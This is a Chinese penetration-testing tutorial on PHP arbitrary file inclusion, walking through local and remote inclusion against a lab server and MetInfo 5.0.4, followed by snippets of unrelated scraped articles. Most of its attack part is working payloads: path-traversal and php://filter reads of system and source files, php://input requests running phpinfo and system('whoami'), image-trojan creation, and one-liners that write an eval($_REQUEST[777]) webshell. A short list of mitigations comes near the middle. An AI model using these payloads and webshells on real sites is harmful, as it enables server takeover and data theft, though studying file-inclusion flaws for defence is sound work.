渗透测试漏洞原理之---【任意文件包含漏洞】
文章目录
- 1、文件包含概述
- 1.1 文件包含语句
- 1.1.1、相关配置
- 1.2、动态包含
- 1.2.1、示例代码
- 1.2.2、本地文件包含
- 1.2.3、远程文件包含
- 1.3、漏洞原理
- 1.3.1、特点
- 2、文件包含攻防
- 2.1、利用方法
- 2.1.1、包含图片木马
- 2.1.2、读取敏感文件
- 2.1.3、读取PHP文件源码
- 2.1.4、执行PHP命令
- 2.1.5、包含图片马写Shell
- 2.1.6、包含日志
- 2.3、文件包含防御
- 3、metinfo案例
- 1、蚁剑直接连接图片马
- 2、读取敏感目录
- 3、读取php源码
- 4、执行PHP命令
- 5、包含木马写Shell (图片马制作新方法)
1、文件包含概述
程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。
几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。
1.1 文件包含语句
PHP 提供了四个文件包含的语句,四个语句之间略有不同。
| 语句 | 区别 |
|---|---|
| include() | 多次包含,多次执行; 如果包含失败,脚本产生警告,继续运行。 |
| include_once() | 多次包含,一次执行; 如果包含失败,脚本产生警告,继续运行。 |
| require() | 多次包含,多次执行; 如果包含失败,脚本产生错误,结束执行。 |
| require_once() | 多次包含,一次执行; 如果包含失败,脚本产生错误,结束执行 |
1.1.1、相关配置
文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置
allow_url_fopen = On/Off # 通过远程方式打开文件
allow_url_include = On/Off # 通过远程方式包含文件
1.2、动态包含
1.2.1、示例代码
// file-include.php$fp = @$_GET['filepath'];
@include $fp;
1.2.2、本地文件包含
本地文件包含(Local File Include,LFI)通过本地路径访问到的文件
?filepath=../phpinfo.php
1.2.3、远程文件包含
远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件
?filepath=http://10.9.75.180/phpinfo.jpg
1.3、漏洞原理
PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。
1.3.1、特点
无视文件扩展名读取文件内容
上传图片木马,通过文件包含的方式触发php木马
?filepath=./a.jpg
无条件解析PHP 代码,为图片木马提供了出路
?filepath=a_yjh_info.jpg
2、文件包含攻防
2.1、利用方法
2.1.1、包含图片木马
蚁剑直接连接
http://10.4.7.130/file-include/file-include.php?filepath=1.jpg
2.1.2、读取敏感文件
利用文件包含漏洞,也可以读取敏感文件。
前提条件:
- 目标文件存在(已知目标文件路径);
- 具有文件可读权限
具体方法:
# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts
封装协议
| 封装协议 | 解释说明 |
|---|---|
| file:// | 访问本地文件系统 |
| http:// | 访问 HTTP(s) 网址 |
| ftp:// | 访问 FTP(s) URLs |
| php:// | 访问各个输入/输出流(I/O streams) |
| zlib:// | 压缩流 |
| data:// | 数据(RFC 2397) |
| glob:// | 查找匹配的文件路径模式 |
| phar:// | PHP 归档 |
| ssh2:// | Secure Shell 2 |
| rar:// | RAR |
| ogg:// | 音频流 |
| expect:// | 处理交互式的流 |
2.1.3、读取PHP文件源码
利用php://fileter 读取
?filepath=php://filter/read=convert.base64-encode/resource=目标文件
读取结果是base64,需要解码
PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==
2.1.4、执行PHP命令
利用条件:
- 利用php://input 执行PHP 命令;
- 远程文件包含开启
POST /file-include/include.php?filepath=php://input HTTP/1.1
Host: 192.168.80.141
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 18<?php phpinfo();?>
2.1.5、包含图片马写Shell
条件:
- 确定文件包含漏洞存在;
- 蚁剑不能直接连接
写shell:
<?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?><?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>
利用:
http://10.4.7.130/file-include/shell.php
2.1.6、包含日志
Apache 日志:
- 访问日志
- 错误日志
Nginx 日志:
- 访问日志
- 错误日志
SSH 日志
邮件日志
2.3、文件包含防御
- 尽量少的使用动态包含;
- 严格过滤被包含文件的路径;
- 将参数
allow_url_include设置为Off; - 使用参数
open_basedir限定文件访问范围。
open_basedir = c:\phpstudy_2016\www\
3、metinfo案例
以metinfo_5.0.4为例
该环境的文件上传点在admin路径下

但是上传文件会失败,
所以直接在网站的upload\file下放入图片木马
文件包含漏洞利用点:/about/index.php?fmodule=7&module=[filePath]
1、蚁剑直接连接图片马
图片马制作:
copy 1.jpg/b+1.php/a 22.jpg
上传图片木马,通过文件包含的方式去访问
http://127.0.0.1/MetInfo5.0.4//about/index.php?fmodule=7&module=../upload/file/22.jpg

使用蚁剑连接


2、读取敏感目录
http://127.0.0.1/MetInfo5.0.4//about/index.php?fmodule=7&module=../../../../../../../../../../../windows/system32/drivers/etc/hosts

3、读取php源码
http://127.0.0.1/MetInfo5.0.4/about/index.php?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

读取结果:
PD9waHANCiMgTWV0SW5mbyBFbnRlcnByaXNlIENvbnRlbnQgTWFuYWdlbWVudCBTeXN0ZW0gDQojIENvcHlyaWdodCAoQykgTWV0SW5mbyBDby4sTHRkIChodHRwOi8vd3d3Lm1ldGluZm8uY24pLiBBbGwgcmlnaHRzIHJlc2VydmVkLiANCnJlcXVpcmVfb25jZSAnLi4vaW5jbHVkZS9jb21tb24uaW5jLnBocCc7DQppZighJGlkICYmICRjbGFzczEpJGlkID0gJGNsYXNzMTsNCiRzaG93ID0gJGRiLT5nZXRfb25lKCJTRUxFQ1QgKiBGUk9NICRtZXRfY29sdW1uIFdIRVJFIGlkPSRpZCBhbmQgbW9kdWxlPTEiKTsNCmlmKCEkc2hvd3x8ISRzaG93Wydpc3Nob3cnXSl7DQpva2luZm8oJy4uLzQwNC5odG1sJyk7DQp9DQokbWV0YWNjZXNzPSRzaG93W2FjY2Vzc107DQppZigkc2hvd1tjbGFzc3R5cGVdPT0zKXsNCiRzaG93MyA9ICRkYi0+Z2V0X29uZSgiU0VMRUNUICogRlJPTSAkbWV0X2NvbHVtbiBXSEVSRSBpZD0nJHNob3dbYmlnY2xhc3NdJyIpOw0KJGNsYXNzMT0kc2hvdzNbYmlnY2xhc3NdOw0KJGNsYXNzMj0kc2hvd1tiaWdjbGFzc107DQokY2xhc3MzPSRzaG93W2lkXTsNCn1lbHNlew0KJGNsYXNzMT0kc2hvd1tiaWdjbGFzc10/JHNob3dbYmlnY2xhc3NdOiRpZDsNCiRjbGFzczI9JHNob3dbYmlnY2xhc3NdPyRpZDoiMCI7DQokY2xhc3MzPTA7DQp9DQoNCnJlcXVpcmVfb25jZSAnLi4vaW5jbHVkZS9oZWFkLnBocCc7DQokY2xhc3MxX2luZm89JGNsYXNzX2xpc3RbJGNsYXNzMV07DQokY2xhc3MxX2xpc3Q9JGNsYXNzMV9pbmZvOw0KJGNsYXNzMl9pbmZvPSRjbGFzc19saXN0WyRjbGFzczJdOw0KJGNsYXNzM19pbmZvPSRjbGFzc19saXN0WyRjbGFzczNdOw0KJHNob3dbY29udGVudF09Y29udGVudHNob3coJzxkaXY+Jy4kc2hvd1tjb250ZW50XS4nPC9kaXY+Jyk7DQokc2hvd1tkZXNjcmlwdGlvbl09JHNob3dbZGVzY3JpcHRpb25dPyRzaG93W2Rlc2NyaXB0aW9uXTokbWV0X2tleXdvcmRzOw0KJHNob3dba2V5d29yZHNdPSRzaG93W2tleXdvcmRzXT8kc2hvd1trZXl3b3Jkc106JG1ldF9rZXl3b3JkczsNCiRtZXRfdGl0bGU9JG1ldF90aXRsZT8kc2hvd1snbmFtZSddLictJy4kbWV0X3RpdGxlOiRzaG93WyduYW1lJ107DQppZigkc2hvd1snY3RpdGxlJ10hPScnKSRtZXRfdGl0bGU9JHNob3dbJ2N0aXRsZSddOw0KcmVxdWlyZV9vbmNlICcuLi9wdWJsaWMvcGhwL21ldGh0bWwuaW5jLnBocCc7DQppbmNsdWRlIHRlbXBsYXRlKCdzaG93Jyk7DQpmb290ZXIoKTsNCiMgVGhpcyBwcm9ncmFtIGlzIGFuIG9wZW4gc291cmNlIHN5c3RlbSwgY29tbWVyY2lhbCB1c2UsIHBsZWFzZSBjb25zY2lvdXNseSB0byBwdXJjaGFzZSBjb21tZXJjaWFsIGxpY2Vuc2UuDQojIENvcHlyaWdodCAoQykgTWV0SW5mbyBDby4sIEx0ZC4gKGh0dHA6Ly93d3cubWV0aW5mby5jbikuIEFsbCByaWdodHMgcmVzZXJ2ZWQuDQo/
得出base64编码格式的数据,使用bp的Decoder功能进行base64解码

也可以利用HackBar浏览器插件

复制得到的base64编码格式的php代码

点击 OK

解码成功!
4、执行PHP命令
bp拦截得到php源码的数据包

发送到Repeater模块
把GET包该成POST数据包

得到POST数据包

把POST请求体中的变量放到url中提交
虽然说是POST数据包,但是POST数据包的url中也可以用GET参数

把fmodule=7&module=的值改成php://input,然后在下面写入php代码,点击send
<?php phpinfo();?>

执行系统代码
<?php
system("whoami")
?>

<?php
system("ipconfig")
?>

5、包含木马写Shell (图片马制作新方法)
<?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?>
该段代码的含义是,在当前目录下创建一个名为shell.php的文件,内容为<?php phpinfo();?>,当我们直接包含图片的时候,这段代码就会被执行
重新再upload\file下放入一张没有木马的图片,使用另一种方式制作图片木马
点击图片---右键属性---详细信息

点击应用,点击确定
在浏览器中访问图片http://127.0.0.1/MetInfo5.0.4/upload/file/1.jpg,图片正常显示

使用文件包含的方式去访问图片
http://127.0.0.1/MetInfo5.0.4/about/index.php?fmodule=7&module=../upload/file/1.jpg
页面显示如下:

随即发现在upload文件夹中有个新建文件shell.php,即可用蚁剑连接


相关文章:
渗透测试漏洞原理之---【任意文件包含漏洞】
文章目录 1、文件包含概述1.1 文件包含语句1.1.1、相关配置 1.2、动态包含1.2.1、示例代码1.2.2、本地文件包含1.2.3、远程文件包含 1.3、漏洞原理1.3.1、特点 2、文件包含攻防2.1、利用方法2.1.1、包含图片木马2.1.2、读取敏感文件2.1.3、读取PHP文件源码2.1.4、执行PHP命令2.…...
day28 异常
to{}catch{} try{}catch{}的流传输 try {fis new FileInputStream("file-APP\\fos.txt");fos new FileOutputStream("fos.txt");int a ;while ((a fis.read())! -1){fos.write(a);}System.out.println(a); } catch (IOException e) {e.printStackTrace()…...
Pico使用C/C++选择使用哪个I2C控制器,以及SDA和SCL针脚
本文一开始讲述了解决方案,后面是我做的笔记,用来讲述我的发现流程和探究的 Pico I2C 代码结构。 前提知识 首先要说明一点:Pico 有两个 I2C,也就是两套 SDA 和 SCL。这点你可以在针脚图中名字看出,比如下图的 Pin 4…...
C++动态内存管理
动态内存 在C/C程序中(线程)栈空间是有限的,大部分变量使用的都是动态分配来的堆内存,这些动态申请来的堆内存是需要开发者通过代码去自行管理的。如何管理好这些动态申请来的内存,是C/C开发中的一个重点难点问题。 m…...
SpringBoot—日志
目录 日志使用日志日志级别设置日志级别设置分组指定日志文件路径日志切割归档使用第三方日志框架log4j2配置文件【分级存储】logback配置文件【分级存储】 实例代码 日志 使用日志 给controller添加日志信息 要给controller类上添加Slf4j注解,然后使用log.info(…...
如何在,Linux中安装Luajit2.*
1.文件下载The LuaJIT Project 2.将下载文件上传到对应的服务器:例如/opt 3.进入对应的文件夹 4.make PREFIX/usr/local,设置安装路径 5.make install,编译安装 6.进入安装目录,cd /usr/local/include/luajit-2.0 7.luajit -v…...
单片机-如何让数码管动态显示
数码管硬件图 1、数码管 连接 74HC245 芯片 单片机IO口输出难稳定,需要数码管与单片机连接需要增加驱动电路, 使用 74HC245 abcdefgDP并联导出 74HC245 对数码管进行驱动,P0 是输出电流 来驱动各个段的 驱动芯片 增加电阻 是为了防止电流…...
在Visual Studio 2017上配置并使用OpenGL
1 在Visual Studio 2017上配置并使用OpenGL 在GLUT - The OpenGL Utility Toolkit:GLUT - The OpenGL Utility Toolkit中点击“GLUT for Microsoft Windows 95 & NT users”,选择“If you want just the GLUT header file, the .LIB, and .DLL file…...
【C++】多态学习
多态 多态的概念与定义多态的概念构成多态的两个条件虚函数与重写重写的两个特例 final 和 override重载、重写(覆盖)、重定义(隐藏)的对比抽象类多态的原理静态绑定与动态绑定 单继承与多继承关系下的虚函数表(派生类)单继承中的虚函数表查看多继承中的虚函数表查看 菱形继承与…...
大数据之Maven
一、Maven的作用 作用一:下载对应的jar包 避免jar包重复下载配置,保证多个工程共用一份jar包。Maven有一个本地仓库,可以通过pom.xml文件来记录jar所在的位置。Maven会自动从远程仓库下载jar包,并且会下载所依赖的其他jar包&…...
自制centos7.9的wsl发行版
自制centos7.9的wsl发行版 参考:https://zhuanlan.zhihu.com/p/482538727 Windows10提供了一个wsl工具用于直接在windows上运行Linux子系统。 CentOS国内镜像下载:https://mirrors.aliyun.com/centos/ 这里选择了7.9.2009版本:https://mirr…...
使用VisualStudio制作上位机(五)
文章目录 使用VisualStudio制作上位机(五)第四部分:GUI界面数据显示使用VisualStudio制作上位机(五) Author:YAL 第四部分:GUI界面数据显示 这一部分,主要实现GUI的界面显示。 上一文已经实现了CAN数据的接收,并将数据更新到数组里。所以在做界面的显示时,只需要在…...
ChatGPT在医疗领域可应用于改善与患者的沟通
注意:本信息仅供参考,发布该内容旨在传递更多信息的目的,并不意味着赞同其观点或证实其说法。 自从ChatGPT在2022年末对公众开放以来,OpenAI的这款生成式AI聊天机器人在医疗领域展示出了巨大潜力。它已经通过了美国医学执照考试&a…...
直播预告|博睿学院第四季即将开讲:博睿数据资深运维团队现身说法!
博睿学院第四季开讲啦!本季博睿学院的课程将于本周四(8月31日)16点正式启动。本季我们邀请到了博睿数据平台支撑中心的四位资深运维专家现身说法,来为我们分享一体化智能可观测平台Bonree ONE的实践干货。 他们,见多识…...
端到端自动驾驶综述
End-to-end Autonomous Driving: Challenges and Frontiers 文章脉路 Introduction 从经典的模块化的方法到端到端方法的一个对比, 讲了各自的优缺点, 模块化的好处是各个模块都有自己明确的优化的目标, 可解释性较强, 且容易debug, 缺点是各个模块优化的目标并不是最终的驾…...
mysql索引、事务、存储引擎
一、索引 索引的概念: 索引是一个排序的列表,在这个列表中存储着索引的值和包含这个值的数据所在行的物理地址(类似于C语言的链表通过指针指向数据记录的内存地址)。使用索引后可以不用扫描全表来定位某行的数据,而是…...
【CMU15445】Fall 2019, Project 2: Hash Table 实验记录
目录 实验准备实验测试 实验准备 官方说明:https://15445.courses.cs.cmu.edu/fall2019/project2/ 实验测试 Task 1: mkdir build cd build make hash_table_page_test ./test/hash_table_page_testTask 2: make hash_table_test ./test…...
PMP证书是不是烂大街了?
大家都知道,PMP证书是项目管理领域的金字招牌。近年来,随着项目管理的重要性日益凸显,越来越多的人开始关注和学习PMP证书。无论是企业招聘还是个人职业发展,PMP证书都成为了一张炙手可热的敲门砖。 那么,PMP证书到底…...
Mac下Docker Desktop安装命令行工具、开启本地远程访问
Mac系统下,为了方便在terminal和idea里使用docker,需要安装docker命令行工具,和开启Docker Desktop本地远程访问。 具体方法是在设置-高级下, 1.将勾选的User调整为System,这样不用手动配置PATH即可使用docker命令 …...
Java实现根据商品ID获取京东商品详情数据,1688商品详情接口,1688API接口封装方法
要通过京东的API获取商品详情数据,您可以使用京东开放平台提供的接口来实现。以下是一种使用Java编程语言实现的示例,展示如何通过京东开放平台API获取商品详情: 首先,确保您已注册成为京东开放平台的开发者,并创建一…...
使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...
基于大模型的 UI 自动化系统
基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:
一、属性动画概述NETX 作用:实现组件通用属性的渐变过渡效果,提升用户体验。支持属性:width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项: 布局类属性(如宽高)变化时&#…...
Python爬虫实战:研究feedparser库相关技术
1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
C++ 基础特性深度解析
目录 引言 一、命名空间(namespace) C 中的命名空间 与 C 语言的对比 二、缺省参数 C 中的缺省参数 与 C 语言的对比 三、引用(reference) C 中的引用 与 C 语言的对比 四、inline(内联函数…...
Neo4j 集群管理:原理、技术与最佳实践深度解析
Neo4j 的集群技术是其企业级高可用性、可扩展性和容错能力的核心。通过深入分析官方文档,本文将系统阐述其集群管理的核心原理、关键技术、实用技巧和行业最佳实践。 Neo4j 的 Causal Clustering 架构提供了一个强大而灵活的基石,用于构建高可用、可扩展且一致的图数据库服务…...
基于Docker Compose部署Java微服务项目
一. 创建根项目 根项目(父项目)主要用于依赖管理 一些需要注意的点: 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件,否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...
RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文全面剖析RNN核心原理,深入讲解梯度消失/爆炸问题,并通过LSTM/GRU结构实现解决方案,提供时间序列预测和文本生成…...
